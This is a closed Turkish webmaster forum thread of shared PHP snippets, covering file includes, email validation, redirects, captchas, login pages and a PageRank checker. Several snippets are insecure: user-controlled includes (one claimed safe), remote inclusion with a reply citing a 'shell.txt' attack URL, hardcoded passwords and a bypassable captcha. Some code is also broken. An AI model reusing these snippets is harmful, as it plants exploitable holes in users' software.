Kütüphane

Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Genel sorunlar üzerine bir çok yararlı fonksiyonu arşivinizde bulunması açısından buradan sizlere sunacağım. Destek olmak isteyenler bu post altina yarattıkları kolaylık getiren fonksiyonları yazabilirler.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
$_GET ile gelen bilgiyi include etmek

PHP:
<?php
function getir($uzanti){
 if ($_GET[$uzanti]) {
  if (file_exists("./$_GET[$uzanti].php")) {
   include "./$_GET[$uzanti].php";
  } else {
   echo "Aradığınız bölüm portalımızda mevcut değildir.";
  }
 }
}
?>
index.php?t=konu için;
PHP:
getir("t");
index.php?a=konu için;
PHP:
getir("a");
kullanılır.

prefix lerde ./prefix şeklinde kullandığımız için herhangi bir açık sözkonusu degildir.
 

cepwap

0
İyinet Üyesi
Katılım
21 Mart 2005
Mesajlar
316
Reaction score
0
Basit bir email adresi kontrolü

Belki önceden benzeri verilmiş olabilir
PHP:
function checkEmail($email)
  {
  if(!eregi("^[[:alnum:]][a-z0-9_.-]*@[a-z0-9.-]+\.[a-z]{2,4}$", $email)) return FALSE;
	else return TRUE;
  };
-Direk TLD altındaki adresler(root@localhost gibi) hariç tüm adresler onaylanıyor
-En az 2 ,en fazla 4 karaktere kadar TLD izni var (.tr , .info gibi), bu değerleri değiştirebilirsiniz mesela .museum için 4ü 6 yapın.
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
harfleri küçültme ve türkçe karakterleri dönüştürme

PHP:
<?
function degistir($q) {
 $q = ereg_replace("%u0131","i",$q);
 $q = ereg_replace("%u011F","g",$q);
 $q = ereg_replace("%u015F","s",$q);
 $q = str_replace("\$","s",$q);
 $q = ereg_replace("ş","s",$q);
 $q = ereg_replace("Ş","S",$q);
 $q = ereg_replace("ç","c",$q);
 $q = ereg_replace("Ç","C",$q);
 $q = ereg_replace("ı","i",$q);
 $q = ereg_replace("İ","I",$q);
 $q = ereg_replace("ğ","g",$q);
 $q = ereg_replace("Ğ","G",$q);
 $q = ereg_replace("ö","o",$q);
 $q = ereg_replace("Ö","O",$q);
 $q = ereg_replace("ü","u",$q);
 $q = ereg_replace("Ü","U",$q);
 $q = ereg_replace("Ö","O",$q);
 $q = ereg_replace("\,","",$q);
 $q = ereg_replace("\.","",$q);
 $q = ereg_replace("  "," ",$q);
 $q = ereg_replace("\?","",$q);
 $q = ereg_replace("\!","",$q);
 $q = strtolower($q);
 $q=trim($q);
 return $q;
}
kullanimi;
PHP:
$metin="Ahmet ANKARA'ya gelince Şenay'ı ara";
$sonhali=degistir($metin);
echo $sonhali;
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
PHP:
<?
function ulkeBul($ip) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://ip-to-country.webhosting.info/node/view/36");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, 'ip_address='.$ip.'');
$kaynak = curl_exec ($ch);
curl_close ($ch);
preg_match("'belongs to <b>(.*?)</b>'s", $kaynak , $donen);
return $donen["1"];
}
?>
kullanımı;

PHP:
$ulke=ulkeBul($_SERVER["REMOTE_ADDR"]);
if ($ulke=="Turkey") {
header("Location:index.php?lang=tr");
} else if ($ulke=="England") {
header("Location:indexen.php?lang=eng");
}
gibi. bu işine yarar @mk++
 
B

Baria

Misafir
Browsere göre dil yönlendirmesi
PHP:
<?php
if (getenv("HTTP_ACCEPT_LANGUAGE") == "tr"){
header("Location:tr/"); 
}
////German (Germany) = de 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de")  {
header("Location:de/"); 
}
////German (Austria) = de-at 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-at")  {
header("Location:de/"); 
}
////German (Liechtenstein) = de-li 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-li")  {
header("Location:de/"); 
}
////German (lexumbourg) = de-lu 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-lu")  {
header("Location:de/"); 
}
////German (Switzerland) = de-ch 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "de-ch")  {
header("Location:de/"); 
}
////Dutch (Netherlands) = nl 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "nl") {
header("Location:nl/"); 
}
////Dutch (Belgium) = nl-be 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "nl-be") {
header("Location:nl/"); 
}
///French (France) = fr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr") {
header("Location:fr/"); 
}
///French (Switzerland) = fr-ch 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-ch") {
header("Location:fr/"); 
}
///French (Monaco) = fr-mc 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-mc") {
header("Location:fr/"); 
}
///French (Luxembourg) = fr-lu 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-lu") {
header("Location:fr/"); 
}
///French (Canada) = fr-ca 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-ca") {
header("Location:fr/"); 
}
///French (Belgium) = fr-be 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr-be") {
header("Location:fr/"); 
}
///Spanish (Argentina) = es-ar 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ar") {
header("Location:es/"); 
}
///Spanish (Bolivia) = es-bo 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-bo") {
header("Location:es/"); 
}
///Spanish (Chile) = es-cl 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-cl") {
header("Location:es/"); 
}
///Spanish (Colombia) = es-co 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-co") {
header("Location:es/"); 
}
///Spanish (Costa Rica) = es-cr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-cr") {
header("Location:es/"); 
}
///Spanish (Dominican Republic) = es-do 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-do") {
header("Location:es/"); 
}
///Spanish (Ecuador) = es-ec
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ec") {
header("Location:es/"); 
}
///Spanish (El Salvador) = es-sv 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-sv") {
header("Location:es/"); 
}
///Spanish (Guatemala) = es-gt 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-gt") {
header("Location:es/"); 
}
///Spanish (Honduras) = es-hn 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-hn") {
header("Location:es/"); 
}
///Spanish (International Sort) = es 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es") {
header("Location:es/"); 
}
///Spanish (Mexico) = es-mx 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-mx") {
header("Location:es/"); 
}
///Spanish (Nicaragua) = es-ni 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ni") {
header("Location:es/"); 
}
///Spanish (Panama) = es-pa 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pa") {
header("Location:es/"); 
}
///Spanish (Paraguay) = es-py 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-py") {
header("Location:es/"); 
}
///Spanish (Peru) = es-pe 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pe") {
header("Location:es/"); 
}
///Spanish (Puerto Rico) = es-pr 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-pr") {
header("Location:es/"); 
}
///Spanish (United States) = es-us 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-us") {
header("Location:es/"); 
}
///Spanish (Uruguay) = es-uy 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-uy") {
header("Location:es/"); 
}
///Spanish (Venezuela) = es-ve 
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "es-ve") {
header("Location:es/"); 
}
elseif (getenv("HTTP_ACCEPT_LANGUAGE") == "fr") {
header("Location:indexfr.php"); 
}
else {
header("Location:en/"); 
}
?>
 
B

Baria

Misafir
İp gosterme
PHP:
<?php
$ipim = $_SERVER['REMOTE_ADDR']; 
echo "$ipim";
?>


Referer gösterme
PHP:
<?php
$gelen = $_SERVER['HTTP_REFERER']; 
echo "$gelen";
?>

Php info gösterme
PHP:
<?
phpinfo();
?>
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Değişik bir algoritma ile şifre oluşturmak

PHP:
<?
function sifre_olustur($sifre) {
 $yenisifre=md5($sifre); //32 haneli md5 şifremiz oluşturuldu
 $sifre1=substr($yenisifre,0,5); //32 haneli md5 şifrenin ilk 5 haneli alindi.
 $sifre2=md5($sifre1); //alinan 5 haneli sifre tekrardan 32 haneli md5 e cevrildi.
 $sifre3=substr($sifre2,5,10); //yeni oluşan şifrenin 5 den sonra 5 karakteri alindi
 $toplam=$sifre1.$sifre3;
 $ytoplam=crypt(cyrpt($toplam,"Tt"),"Mq"); //şifreler birleştirilip 2 kere crpyt ediliyor
 return $ytoplam;
 }
?>

Kullanımı;

PHP:
<?
$sifre="1234567";
$yenisifre=sifre_olustur($sifre);
echo $yenisifre;
?>
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Resim üzerine güvenlik kodu oluşturmak

Küçük bir login sistemiyle konuyu kavramak için

resim.php

PHP:
<?
  set_magic_quotes_runtime(0);
  if (!session_is_registered("kod")) {
  $kod = mt_rand(9999,9999999); //9999 ve 9999999 sayilari arasinda rastgele bir kod oluşturur
  session_register("kod");
  }
  $image = imagecreate(115, 20);
  $white = imagecolorallocate($image, 200, 0, 200);
  $gray = imagecolorallocate($image, 192, 192, 192);
  $black = imagecolorallocate($image, 0, 0, 0);
  $w=imageline($image, 140, 10, 0, 10, $gray);
  $q=imagestring($image, 4, 28, 2, $_SESSION['kod'], $black);
  imagepng($image,$q,$w);
  imagedestroy($image);
  ?>

Resim.php çalıştırıldığında 1 adlı bir dosya yaratacaktır. Bu bir png dosyasıdır.

index.php
PHP:
<?
session_start();
if (!$_POST) {
include "resim.php";
?>
<br><br><br><br>
<table border=0 align=center>
<form action="" method="POST">
<tr>
  <td>Kullanıcı adı:</td>
  <td><input type="text" name="adi" size="20"></td>
</tr>
<tr>
  <td>Şifre:</td>
  <td><input type="password" name="sifre" size="20"></td>
</tr>
<tr>
  <td>Güvenlik kodu:</td>
  <td>
  <img src="1" border="0" />
  </td>
</tr>
<tr>
  <td> </td>
  <td><input type="text" name="gkod" size="10"></td>
</tr>
<tr>
  <td> </td>
  <td><input type="submit" value="giriş" class=news></td>
</tr>
</form>
</table>
<?
} else {
if (($_POST['adi'] == "deneme" AND $_POST['sifre'] == "deneme") AND ($_POST['gkod'] == $_SESSION['kod'])) {
session_unregister("kod");
session_register("adi");
header("Location:yonetim.php");
} else {
header("Location:index.php");
}
}
?>

Kullanıcı adı: deneme
Şifre: deneme

yonetim.php

PHP:
<?
session_start();
if (session_is_registered("adi")) {
echo $_SESSION['adi'];
echo "<br><a href='cikis.php'>Çıkış</a>";
} else {
header("Location:index.php");
}
?>

cikis.php

PHP:
<?
session_start();
session_destroy();
header("Location:index.php");
?>
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
PHP:
<?
 
$yazi = "Çelişkiler Diyarı";
$bul = array (' ','ç','ğ','ı','ö','ş','ü','Ç','Ğ','İ','Ö','Ş','Ü',',','?','(',')'); 
$koy = array ('_','c','g','i','o','s','u','c','g','i','o','s','u','','','',''); 
$yazi = str_replace($bul, $koy, $yazi);
 
?>
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
Sayfa Şifreleme


sifre.php
PHP:
<?
session_start();

$kullanici_adi="admin";
$sifre="123456";
if($islem == "cikis")
{
session_destroy();
}
if(session_is_registered('panelegirdim'))
{
 include('../inc/ayar.php');
}
else
{
 if(($user == $kullanici_adi) AND ($pass == $sifre))
 {
  $panelegirdim = "evet";
  session_register('panelegirdim');
 }
 else
 {
 ?>
<style>
TD {font-family: Helvetica, Arial, Tahoma ,verdana; font-size:10px; color: #444444;}
.formum
{
font-family: Verdana;
font-size: 8pt;
width: 100%;
}
</style>
 <center>
 <form method="POST" action="index.php">
 <table width="200" border="1" bordercolor="#CBCBCB">
  <tr>
   <td width="30%" nowrap> Admin :</td>
   <td><input type="text" name="user" class="formum"></td>
  </tr>
  <tr>
   <td width="30%" nowrap> Parola :</td>
   <td><input type="password" name="pass" class="formum"></td>
  </tr>
  <tr>
   <td colspan="2"><input type="submit" name="giris" value="Giriş Yap" class="formum"></td>
  </tr>
 </table>
 </form>
 </center>
 <?
 exit();
 }
}
?>


Bu işlemden sonra şifrelenecek sayfaların en üstüne

PHP:
<?
include('sifre.php');
?>

yazarsanız o sayfaları şifrelemiş olursunuz.
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
HEADER ile sayfa koruması

sifre.php
PHP:
<?php
$bolge_adi="YÖNETİM PANELİ";
$kullanici_adi="admin";
$sifre="123456";
if (!isset($PHP_AUTH_USER))
{
header("WWW-Authenticate: Basic realm=\"$bolge_adi\"");
header("HTTP/1.0 401 Unauthorized");
echo"<font face=\"Verdana\" size=\"2\"><b><center>... :::  BU SAYFAYA GİRMEYE YETKİLİ DEĞİLSİNİZ ::: ...</center></b></font>";
exit;
}
else
{
if ( ($PHP_AUTH_USER != $kullanici_adi) || ($PHP_AUTH_PW != $sifre) )
{
header("WWW-Authenticate: Basic realn=\"$bolge_adi\"");
header("HTTP/1.0 401 Unauthhorized");
echo"<font face=\"Verdana\" size=\"2\"><b><center>... :::  BU SAYFAYA GİRMEYE YETKİLİ DEĞİLSİNİZ ::: ...</center></b></font>";
exit;
}
}
?>


bunu kaydettikten sonra korumak istediğiniz sayfaların üstüne

PHP:
<?
require('sifre.php');
?>

yazın ve kaydedin.
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
PR değeri göstertmek..



pr.php
PHP:
<?php 
define('GOOGLE_MAGIC', 0xE6359A60); 
function zeroFill($a, $b) 
{ 
    $z = hexdec(80000000); 
        if ($z & $a) 
        { 
            $a = ($a>>1); 
            $a &= (~$z); 
            $a |= 0x40000000; 
            $a = ($a>>($b-1)); 
        } 
        else 
        { 
            $a = ($a>>$b); 
        } 
        return $a; 
} 

function mix($a,$b,$c) { 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,13)); 
  $b -= $c; $b -= $a; $b ^= ($a<<8); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,13)); 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,12)); 
  $b -= $c; $b -= $a; $b ^= ($a<<16); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,5)); 
  $a -= $b; $a -= $c; $a ^= (zeroFill($c,3)); 
  $b -= $c; $b -= $a; $b ^= ($a<<10); 
  $c -= $a; $c -= $b; $c ^= (zeroFill($b,15)); 
  return array($a,$b,$c); 
} 
function GoogleCH($url, $length=lisanssız, $init=GOOGLE_MAGIC) { 
    if(is_null($length)) { 
        $length = sizeof($url); 
    } 
    $a = $b = 0x9E3779B9; 
    $c = $init; 
    $k = 0; 
    $len = $length; 
    while($len >= 12) { 
        $a += ($url[$k+0] +($url[$k+1]<<8) +($url[$k+2]<<16) +($url[$k+3]<<24)); 
        $b += ($url[$k+4] +($url[$k+5]<<8) +($url[$k+6]<<16) +($url[$k+7]<<24)); 
        $c += ($url[$k+8] +($url[$k+9]<<8) +($url[$k+10]<<16)+($url[$k+11]<<24)); 
        $mix = mix($a,$b,$c); 
        $a = $mix[0]; $b = $mix[1]; $c = $mix[2]; 
        $k += 12; 
        $len -= 12; 
    } 
    $c += $length; 
    switch($len)               
    { 
        case 11: $c+=($url[$k+10]<<24); 
        case 10: $c+=($url[$k+9]<<16); 
        case 9 : $c+=($url[$k+8]<<8); 
        case 8 : $b+=($url[$k+7]<<24); 
        case 7 : $b+=($url[$k+6]<<16); 
        case 6 : $b+=($url[$k+5]<<8); 
        case 5 : $b+=($url[$k+4]); 
        case 4 : $a+=($url[$k+3]<<24); 
        case 3 : $a+=($url[$k+2]<<16); 
        case 2 : $a+=($url[$k+1]<<8); 
        case 1 : $a+=($url[$k+0]); 
    } 
    $mix = mix($a,$b,$c); 
    return $mix[2]; 
} 
function strord($string) { 
    for($i=0;$i<strlen($string);$i++) { 
        $result[$i] = ord($string{$i}); 
    } 
    return $result; 
} 
function getrank($url) 
{ 
$url = 'info:'.$url; 
$ch = GoogleCH(strord($url)); 
$file = "http://www.google.com/search?client=navclient-auto&ch=6$ch&features=Rank&q=$url"; 
$data = file($file); 
$rankarray = explode (':', $data[2]); 
$rank = $rankarray[2]; 
return $rank; 
} 
  if (isset($_GET['url']) && !empty($_GET['url'])) 
  { 
    $url = $_GET['url']; 
    $pr = getrank($url); 
    $pr_html = ' 
       '.$pr.' 
     
 '; 
  } 
  else 
    $pr_html = ''; 

      if ($pr_html == 0) { 
$location="0"; 
} elseif ($pr_html == 1) { 
$location="1"; 
} elseif ($pr_html == 2) { 
$location="2"; 
} elseif ($pr_html == 3) { 
$location="3"; 
} elseif ($pr_html == 4) { 
$location="4"; 
} elseif ($pr_html == 5) { 
$location="5"; 
} elseif ($pr_html == 6) { 
$location="6"; 
} elseif ($pr_html == 7) { 
$location="7"; 
} elseif ($pr_html == 8) { 
$location="8"; 
} elseif ($pr_html == 9) { 
$location="9"; 
} elseif ($pr_html == 10) { 
$location="10"; 
} 
//header("Location: ".$location.".gif");    // isterseniz resim göstertirsiniz...
echo"PR : <b>".$location."</b>";
?>


sayfayı açtırıken pr.php?url=http://www.soyturk.com şeklinde link verin.
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
Güvenlik numarası oluşturmak..

1.php
PHP:
<?
// session_start() sayfanın en üstünde olacak  bunun üstünde hiç html kod olmayacak
session_start();
?>

<?
if(session_is_registered('guvenlik'))
{
}
else
{
 function rastgelekod() 
 {
 $sozluk = "0123456789";
  srand((double)microtime()*1000000);
      $i = 0;
      while ($i <= 4) 
   {
            $num = rand() % 10;
            $tmp = substr($sozluk, $num, 1);
            $pass = $pass . $tmp;
            $i++;
      }
      return $pass;
 }
$guvenlik = rastgelekod();
session_register("guvenlik");
}
?>
 
 

<script language="JavaScript">
function kontrol()
{
_a1 = document.formadi.code1.value;
_a2 = document.formadi.code2.value;
  if (_a1 != _a2)
{ 
 alert("Güvenlik Kodunu Doğru Girdiğinize Emin Olunuz");
 formadi.code1.focus();
 return(false); 
}
}
</script>
<form name="formadi" method="POST" action="2.php" onSubmit="return kontrol(this)">
Güvenlik Kodu : <b><?=$guvenlik;?></b><br>
<input type="text" size="20" name="code1">
<input type="hidden" size="20" name="code2" value="<?=$guvenlik;?>">
<input type="submit" value="Yolla">
</form>


2.php
PHP:
<?
// session_start() sayfanın en üstünde olacak  bunun üstünde hiç html kod olmayacak
session_start();
?>
 
 
<?
$code1=$_POST['code1'];
$code2=$_POST['code2'];
if($code1==$code2 AND $code1!='' AND $code2!='')
{
echo"Teşekkür Ederim";
}
else
{
?>
<script language="Javascript">
 alert("güvenlik Kodunda Hata Tesbit Edildi");
 window.location.href(history.back());
</script>
<?
}
?>
 

zeusmaster

0
İyinet Üyesi
Katılım
21 Mart 2005
Mesajlar
245
Reaction score
1
dsgnr' Alıntı:
sayfa içine include veri çekmek..


abc.php
PHP:
<?
if(!$as) $as = "anasayfa.txt"; else $as = "$as"; 
if(file_exists("$as")) 
{ 
include ("$as"); 
} 
else 
{ 
echo"Veri Çekilmesi Bekleniyor";
} 
?>


bunu yazdığınız sayfayı abc.php?as=http://www.soyturk.com/index.html

şeklinde açarsanız kodu koyduğunuz alanda soyturk.com/index.html gözükür.


aman aman en tehlike iş bu anında heklenirsiniz

abc.php?as=http://www.soyturk.com/shell.txt
aynen güm
alınan veriyi göstermeden önce süzgeçten geçirmelisiniz
 

zeusmaster

0
İyinet Üyesi
Katılım
21 Mart 2005
Mesajlar
245
Reaction score
1
php içinde html kodları verirken sorun yaşamamak için uygulanan bir kod

<?
$content="vsvsvs";
$html = <<<EOF

<table cellpadding="0" cellspacing="0" border="0" width="100%">
<tr>
<td>
<table border="0" cellspacing="0" width="100%" cellpadding="0">
<tr>
<td width="100%" bgcolor="#111111">$content</td>
</tr>
</table>
</td>
</tr>
</table>
EOF;
echo $html;
?>
 

dsgnr

0
İyinet Üyesi
Katılım
22 Mart 2006
Mesajlar
1,144
Reaction score
1
Konum
dev
istenilen verileri rastgele sıralama


sirala.php

PHP:
$veri[0] = "soyturk";
$veri[1] = "dsgnr";
$veri[2] = "php";
$veri[3] = "coder";
$veri[4] = "google";
$veri[5] = "seo";

surffle($veri)
echo $veri[0];

bu sayede verilere girilen değerler random olarak gözükür.
 

zbahadir

0
İyinet Üyesi
Katılım
19 Mart 2006
Mesajlar
2,416
Reaction score
0
Konum
Trabzon
Image Compare

Bir zamanlar çok araştırmış ama bulamamıştım. GD Kütüphanesini kullanarak iki resmi karşılaştırmaya yarayan bir fonksiyon buldum ve iyinetle paylaşmak istedim.

Fonksiyon:
PHP:
function imagecompare($img1, $img2) { 
  if (imagesx($img1)!=imagesx($img2) || imagesy($img1)!=imagesy($img2)){ 
   return false; 
  } 
  for( $x=0; $x<imagesx($img1 ); $x++ ){ 
     for ($y=0; $y<imagesy($img1); $y++) { 
         if(imagecolorat($img1,$x,$y)!=imagecolorat($img2,$x,$y)){ 
                 return false; 
         } 
     } 
  } 
  return true; 
}
Kullanımı :

PHP:
$im1=imagecreatefromgif("test1.gif"); 
$im2=imagecreatefromgif("test2.gif"); 
echo imagecompare(&$im1,&$im2);
kaynak
 

Caesar

0
İyinet Üyesi
Katılım
5 Haziran 2006
Mesajlar
1,894
Reaction score
7
Main kontrol fonksiyonu:

PHP:
 function kontrol_mail($email) {
  if (!eregi ("^([a-z0-9_]|\\-|\\.)+@(([a-z0-9_]|\\-)+\\.)+[a-z]{2,4}$", $email))
  die ("E-Mail Adresiniz Geçersiz<br><a href='javascript:history.back();'>Geri dön</a>");
  }
Kullanımı;
PHP:
$mail="[email protected]";
kontrol_mail($mail);
 
Durum
Üzgünüz bu konu cevaplar için kapatılmıştır...

Türkiye’nin ilk webmaster forum sitesi iyinet.com'da forum üyeleri tarafından yapılan tüm paylaşımlardan; Türk Ceza Kanunu’nun 20. Maddesinin, 5651 Sayılı Kanununun 4. maddesinin 2. fıkrasına göre, paylaşım yapan üyeler sorumludur.

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5

Elektronik Sigara Cicisex Porno
Üst